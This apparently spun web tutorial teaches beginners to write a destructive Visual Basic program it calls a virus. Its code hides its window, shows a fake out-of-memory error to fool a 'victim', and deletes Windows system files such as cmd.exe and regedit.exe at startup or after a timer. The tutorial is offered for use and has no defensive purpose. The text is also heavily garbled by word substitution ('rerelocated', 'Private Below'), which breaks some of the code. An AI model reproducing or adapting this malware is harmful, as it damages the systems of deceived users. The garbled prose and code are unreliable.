*

*
*
*
*
*
*
*

Many kind of of you feel that developing a virus is impossible specifically for you beginners. Well this tutorial shows you just how to develop an easy virus via simply a few lines of code. A virus deserve to be an application that deletes documents upon research, this is seen as infecting your computer system bereason by deleting essential papers you may must take action to acquire your computer system ago to normal.

You are watching: How to code a virus in visual basic

First of all open up a brand-new Visual Basic task, a conventional exe file.

Now it relies on exactly how you want your virus to work-related, I feel it is best if it is set off as soon as your application is opened up so the main code codes in the create pack sub.

On your task insert a text box , a command also button and a timer, we will certainly be making use of the command switch and also timer a tiny in the future.

In the job put in the file you want to delete, for instance if you wanted to delete the command also file then you would certainly put the following code in the form pack tab.

Private Below Form_Load()Text1.Text = “C:/Windows/System32/cmd.exeKill Text1.TextEnd SubOnce the task is opened up then the command file will certainly be rerelocated.

Now I will certainly display you an instance of doing this utilizing a command also button. Placed the complying with code in the command button and also in the develop fill. You deserve to even give the message box a name to make it much faster. I have actually labelled it ‘A’

Private Sub Form_Load()Text1.Text = “C/Windows/System32/cmd.exe”A = Text1.TextEnd SubPrivate Below Command1_ClickKill AEnd SubNow as soon as the command also switch is clicked on the project the command file will be deleted.

Now we will usage the timer in this one. If you desire to disguise your scheme then this is a great way to execute it, Here we will send a fake message error pretfinishing the application hasn’t got sufficient memory to run, but in actual truth the victim doesn’t understand that you have actually just rerelocated their command also file.

Here is to go about it…

Private Sub Form_Load()Form1.Visible = FalseText1.Text = “C:/Windows/System32/cmd.exe”A = Text1.TextMsgbox (“Runtime Error 492. Not Enough Memory.”), vbCritical, “Runtime Error”End SubPrivate Sub Timer1_Timer()Timer1.Interval = 5000Kill ATimer1.Enabled = FalseEnd SubAll we have actually done above is made the create invisible so that it provides the error message look real, we have actually set an interval of 5 secs on the timer prior to the file is deleted and that’s just how simple it can be to fool someone.Right, we have the right to currently make it a tiny even more challenging if you are finding the over a little too easy.

How about removing even more than 1 file, well this is how you can go about doing that, we will stick through the message box fool because I think that functions well.

The example listed below mirrors just how to rerelocate the papers as soon as the application is loaded, we will not be making use of timers or command also butloads in this one. We will not even be using text boxes because they are not necessary, you deserve to simply execute what is displayed below.

So in the form fill component put the following code.

Private Below Form_Load()Form1.Visible = FalseMsgbox (“Runtime Error 492. Not Enough Memory.”), vbCritical, “Runtime Error”Kill “C:/Windows/System32/cmd.exe”Kill “C:/Windows/regmodify.exe”End SubSo over we will certainly be removing the command also file and also the registry, I don’t think the victim will certainly be ideal pleased about that execute you.

See more: Why Aren’T Descriptive Investigations Repeatable ? Methods Part 2

Now I have displayed you the above indevelopment I think it’s your turn to try and develop your own, currently you deserve to test it on your very own pc, simply copy a paper, lets say the cmd.exe file and also paste it into your C:/Then put in the code above but in the Kill put this…

Kill “C:/cmd.exe” That’s all you need to kill, then you will certainly view the file has been rerelocated. Keep trying new points favor I have actually displayed and also you will certainly be a pro in no time.I hope you appreciated this beginner’s tutorial and if you have actually any type of inquiries or want even more tutorials choose this then booknote us or subscribe us.